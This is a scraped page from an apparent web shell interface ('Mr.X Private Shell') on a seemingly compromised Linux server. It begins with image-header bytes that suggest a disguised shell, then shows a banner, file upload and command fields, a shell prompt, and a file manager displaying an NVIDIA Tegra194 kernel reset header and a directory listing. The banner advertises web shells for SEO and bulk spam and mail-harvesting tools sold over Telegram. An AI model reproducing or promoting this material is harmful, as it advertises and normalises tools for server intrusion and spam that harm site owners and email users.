����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

deexcl@216.73.217.71: ~ $ 
/* SPDX-License-Identifier: GPL-2.0 */
/* Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. */

#ifndef __ABI_MACH_T194_RESET_H
#define __ABI_MACH_T194_RESET_H

#define TEGRA194_RESET_ACTMON			1
#define TEGRA194_RESET_ADSP_ALL			2
#define TEGRA194_RESET_AFI			3
#define TEGRA194_RESET_CAN1			4
#define TEGRA194_RESET_CAN2			5
#define TEGRA194_RESET_DLA0			6
#define TEGRA194_RESET_DLA1			7
#define TEGRA194_RESET_DPAUX			8
#define TEGRA194_RESET_DPAUX1			9
#define TEGRA194_RESET_DPAUX2			10
#define TEGRA194_RESET_DPAUX3			11
#define TEGRA194_RESET_EQOS			17
#define TEGRA194_RESET_GPCDMA			18
#define TEGRA194_RESET_GPU			19
#define TEGRA194_RESET_HDA			20
#define TEGRA194_RESET_HDA2CODEC_2X		21
#define TEGRA194_RESET_HDA2HDMICODEC		22
#define TEGRA194_RESET_HOST1X			23
#define TEGRA194_RESET_I2C1			24
#define TEGRA194_RESET_I2C10			25
#define TEGRA194_RESET_RSVD_26			26
#define TEGRA194_RESET_RSVD_27			27
#define TEGRA194_RESET_RSVD_28			28
#define TEGRA194_RESET_I2C2			29
#define TEGRA194_RESET_I2C3			30
#define TEGRA194_RESET_I2C4			31
#define TEGRA194_RESET_I2C6			32
#define TEGRA194_RESET_I2C7			33
#define TEGRA194_RESET_I2C8			34
#define TEGRA194_RESET_I2C9			35
#define TEGRA194_RESET_ISP			36
#define TEGRA194_RESET_MIPI_CAL			37
#define TEGRA194_RESET_MPHY_CLK_CTL		38
#define TEGRA194_RESET_MPHY_L0_RX		39
#define TEGRA194_RESET_MPHY_L0_TX		40
#define TEGRA194_RESET_MPHY_L1_RX		41
#define TEGRA194_RESET_MPHY_L1_TX		42
#define TEGRA194_RESET_NVCSI			43
#define TEGRA194_RESET_NVDEC			44
#define TEGRA194_RESET_NVDISPLAY0_HEAD0		45
#define TEGRA194_RESET_NVDISPLAY0_HEAD1		46
#define TEGRA194_RESET_NVDISPLAY0_HEAD2		47
#define TEGRA194_RESET_NVDISPLAY0_HEAD3		48
#define TEGRA194_RESET_NVDISPLAY0_MISC		49
#define TEGRA194_RESET_NVDISPLAY0_WGRP0		50
#define TEGRA194_RESET_NVDISPLAY0_WGRP1		51
#define TEGRA194_RESET_NVDISPLAY0_WGRP2		52
#define TEGRA194_RESET_NVDISPLAY0_WGRP3		53
#define TEGRA194_RESET_NVDISPLAY0_WGRP4		54
#define TEGRA194_RESET_NVDISPLAY0_WGRP5		55
#define TEGRA194_RESET_RSVD_56			56
#define TEGRA194_RESET_RSVD_57			57
#define TEGRA194_RESET_RSVD_58			58
#define TEGRA194_RESET_NVENC			59
#define TEGRA194_RESET_NVENC1			60
#define TEGRA194_RESET_NVJPG			61
#define TEGRA194_RESET_PCIE			62
#define TEGRA194_RESET_PCIEXCLK			63
#define TEGRA194_RESET_RSVD_64			64
#define TEGRA194_RESET_RSVD_65			65
#define TEGRA194_RESET_PVA0_ALL			66
#define TEGRA194_RESET_PVA1_ALL			67
#define TEGRA194_RESET_PWM1			68
#define TEGRA194_RESET_PWM2			69
#define TEGRA194_RESET_PWM3			70
#define TEGRA194_RESET_PWM4			71
#define TEGRA194_RESET_PWM5			72
#define TEGRA194_RESET_PWM6			73
#define TEGRA194_RESET_PWM7			74
#define TEGRA194_RESET_PWM8			75
#define TEGRA194_RESET_QSPI0			76
#define TEGRA194_RESET_QSPI1			77
#define TEGRA194_RESET_SATA			78
#define TEGRA194_RESET_SATACOLD			79
#define TEGRA194_RESET_SCE_ALL			80
#define TEGRA194_RESET_RCE_ALL			81
#define TEGRA194_RESET_SDMMC1			82
#define TEGRA194_RESET_RSVD_83			83
#define TEGRA194_RESET_SDMMC3			84
#define TEGRA194_RESET_SDMMC4			85
#define TEGRA194_RESET_SE			86
#define TEGRA194_RESET_SOR0			87
#define TEGRA194_RESET_SOR1			88
#define TEGRA194_RESET_SOR2			89
#define TEGRA194_RESET_SOR3			90
#define TEGRA194_RESET_SPI1			91
#define TEGRA194_RESET_SPI2			92
#define TEGRA194_RESET_SPI3			93
#define TEGRA194_RESET_SPI4			94
#define TEGRA194_RESET_TACH			95
#define TEGRA194_RESET_RSVD_96			96
#define TEGRA194_RESET_TSCTNVI			97
#define TEGRA194_RESET_TSEC			98
#define TEGRA194_RESET_TSECB			99
#define TEGRA194_RESET_UARTA			100
#define TEGRA194_RESET_UARTB			101
#define TEGRA194_RESET_UARTC			102
#define TEGRA194_RESET_UARTD			103
#define TEGRA194_RESET_UARTE			104
#define TEGRA194_RESET_UARTF			105
#define TEGRA194_RESET_UARTG			106
#define TEGRA194_RESET_UARTH			107
#define TEGRA194_RESET_UFSHC			108
#define TEGRA194_RESET_UFSHC_AXI_M		109
#define TEGRA194_RESET_UFSHC_LP_SEQ		110
#define TEGRA194_RESET_RSVD_111			111
#define TEGRA194_RESET_VI			112
#define TEGRA194_RESET_VIC			113
#define TEGRA194_RESET_XUSB_PADCTL		114
#define TEGRA194_RESET_NVDEC1			115
#define TEGRA194_RESET_PEX0_CORE_0		116
#define TEGRA194_RESET_PEX0_CORE_1		117
#define TEGRA194_RESET_PEX0_CORE_2		118
#define TEGRA194_RESET_PEX0_CORE_3		119
#define TEGRA194_RESET_PEX0_CORE_4		120
#define TEGRA194_RESET_PEX0_CORE_0_APB		121
#define TEGRA194_RESET_PEX0_CORE_1_APB		122
#define TEGRA194_RESET_PEX0_CORE_2_APB		123
#define TEGRA194_RESET_PEX0_CORE_3_APB		124
#define TEGRA194_RESET_PEX0_CORE_4_APB		125
#define TEGRA194_RESET_PEX0_COMMON_APB		126
#define TEGRA194_RESET_PEX1_CORE_5		129
#define TEGRA194_RESET_PEX1_CORE_5_APB		130
#define TEGRA194_RESET_CVNAS			131
#define TEGRA194_RESET_CVNAS_FCM		132
#define TEGRA194_RESET_DMIC5			144
#define TEGRA194_RESET_APE			145
#define TEGRA194_RESET_PEX_USB_UPHY		146
#define TEGRA194_RESET_PEX_USB_UPHY_L0		147
#define TEGRA194_RESET_PEX_USB_UPHY_L1		148
#define TEGRA194_RESET_PEX_USB_UPHY_L2		149
#define TEGRA194_RESET_PEX_USB_UPHY_L3		150
#define TEGRA194_RESET_PEX_USB_UPHY_L4		151
#define TEGRA194_RESET_PEX_USB_UPHY_L5		152
#define TEGRA194_RESET_PEX_USB_UPHY_L6		153
#define TEGRA194_RESET_PEX_USB_UPHY_L7		154
#define TEGRA194_RESET_PEX_USB_UPHY_L8		155
#define TEGRA194_RESET_PEX_USB_UPHY_L9		156
#define TEGRA194_RESET_PEX_USB_UPHY_L10		157
#define TEGRA194_RESET_PEX_USB_UPHY_L11		158
#define TEGRA194_RESET_PEX_USB_UPHY_PLL0	159
#define TEGRA194_RESET_PEX_USB_UPHY_PLL1	160
#define TEGRA194_RESET_PEX_USB_UPHY_PLL2	161
#define TEGRA194_RESET_PEX_USB_UPHY_PLL3	162

#endif

Filemanager

DIR : / usr/ src/ kernels/ 5.14.0-611.49.2.el9_7.x86_64/ include/ dt-bindings/ reset/
Name Type Size Permission Actions
actions,s500-reset.h File 1.73 KB 0644
actions,s700-reset.h File 874 B 0644
actions,s900-reset.h File 1.66 KB 0644
altr,rst-mgr-a10.h File 2.27 KB 0644
altr,rst-mgr-a10sr.h File 530 B 0644
altr,rst-mgr-s10.h File 2.17 KB 0644
altr,rst-mgr.h File 1.82 KB 0644
amlogic,meson-a1-reset.h File 1.59 KB 0644
amlogic,meson-axg-audio-arb.h File 505 B 0644
amlogic,meson-axg-reset.h File 2.83 KB 0644
amlogic,meson-g12a-audio-reset.h File 1.37 KB 0644
amlogic,meson-g12a-reset.h File 3.24 KB 0644
amlogic,meson-gxbb-reset.h File 4.03 KB 0644
amlogic,meson8b-clkc-reset.h File 1.02 KB 0644
amlogic,meson8b-reset.h File 3.27 KB 0644
axg-aoclkc.h File 519 B 0644
bcm6318-reset.h File 539 B 0644
bcm63268-reset.h File 733 B 0644
bcm6328-reset.h File 476 B 0644
bcm6358-reset.h File 381 B 0644
bcm6362-reset.h File 597 B 0644
bcm6368-reset.h File 412 B 0644
bitmain,bm1880-reset.h File 1.38 KB 0644
bt1-ccu.h File 629 B 0644
cortina,gemini-reset.h File 1.01 KB 0644
g12a-aoclkc.h File 448 B 0644
gxbb-aoclkc.h File 2.8 KB 0644
hisi,hi6220-resets.h File 3.4 KB 0644
imx7-reset.h File 1.41 KB 0644
imx8mp-reset.h File 1.66 KB 0644
imx8mq-reset.h File 3.35 KB 0644
imx8ulp-pcc-reset.h File 1.42 KB 0644
k210-rst.h File 1.07 KB 0644
mt2701-resets.h File 2.64 KB 0644
mt7622-reset.h File 2.69 KB 0644
mt7629-resets.h File 2.15 KB 0644
mt8135-resets.h File 2.04 KB 0644
mt8173-resets.h File 1.96 KB 0644
nuvoton,npcm7xx-reset.h File 2.74 KB 0644
oxsemi,ox810se.h File 907 B 0644
oxsemi,ox820.h File 938 B 0644
pistachio-resets.h File 1.06 KB 0644
qcom,gcc-apq8084.h File 2.9 KB 0644
qcom,gcc-ipq6018.h File 4.98 KB 0644
qcom,gcc-ipq806x.h File 5.28 KB 0644
qcom,gcc-mdm9615.h File 3.67 KB 0644
qcom,gcc-msm8660.h File 3.57 KB 0644
qcom,gcc-msm8916.h File 2.85 KB 0644
qcom,gcc-msm8939.h File 3.17 KB 0644
qcom,gcc-msm8960.h File 3.59 KB 0644
qcom,gcc-msm8974.h File 2.61 KB 0644
qcom,mmcc-apq8084.h File 1.53 KB 0644
qcom,mmcc-msm8960.h File 2.63 KB 0644
qcom,mmcc-msm8974.h File 1.47 KB 0644
qcom,sdm845-aoss.h File 425 B 0644
qcom,sdm845-pdc.h File 511 B 0644
raspberrypi,firmware-reset.h File 350 B 0644
realtek,rtd1195.h File 2 KB 0644
realtek,rtd1295.h File 3.31 KB 0644
snps,hsdk-reset.h File 446 B 0644
stih407-resets.h File 2.09 KB 0644
stih415-resets.h File 882 B 0644
stih416-resets.h File 1.72 KB 0644
stm32mp1-resets.h File 2.82 KB 0644
sun4i-a10-ccu.h File 2.53 KB 0644
sun50i-a100-ccu.h File 1.67 KB 0644
sun50i-a100-r-ccu.h File 480 B 0644
sun50i-a64-ccu.h File 3.33 KB 0644
sun50i-h6-ccu.h File 1.78 KB 0644
sun50i-h6-r-ccu.h File 459 B 0644
sun50i-h616-ccu.h File 1.71 KB 0644
sun5i-ccu.h File 435 B 0644
sun6i-a31-ccu.h File 3.51 KB 0644
sun8i-a23-a33-ccu.h File 3.06 KB 0644
sun8i-a83t-ccu.h File 3.18 KB 0644
sun8i-de2.h File 317 B 0644
sun8i-h3-ccu.h File 3.46 KB 0644
sun8i-r-ccu.h File 2.23 KB 0644
sun8i-r40-ccu.h File 4.06 KB 0644
sun8i-v3s-ccu.h File 2.86 KB 0644
sun9i-a80-ccu.h File 3.33 KB 0644
sun9i-a80-de.h File 2.28 KB 0644
sun9i-a80-usb.h File 2.26 KB 0644
suniv-ccu-f1c100s.h File 912 B 0644
tegra124-car.h File 360 B 0644
tegra186-reset.h File 7.28 KB 0644
tegra194-reset.h File 5.41 KB 0644
tegra210-car.h File 405 B 0644
tegra234-reset.h File 6.63 KB 0644
ti-syscon.h File 777 B 0644
xlnx-versal-resets.h File 4.05 KB 0644
xlnx-zynqmp-resets.h File 4.16 KB 0644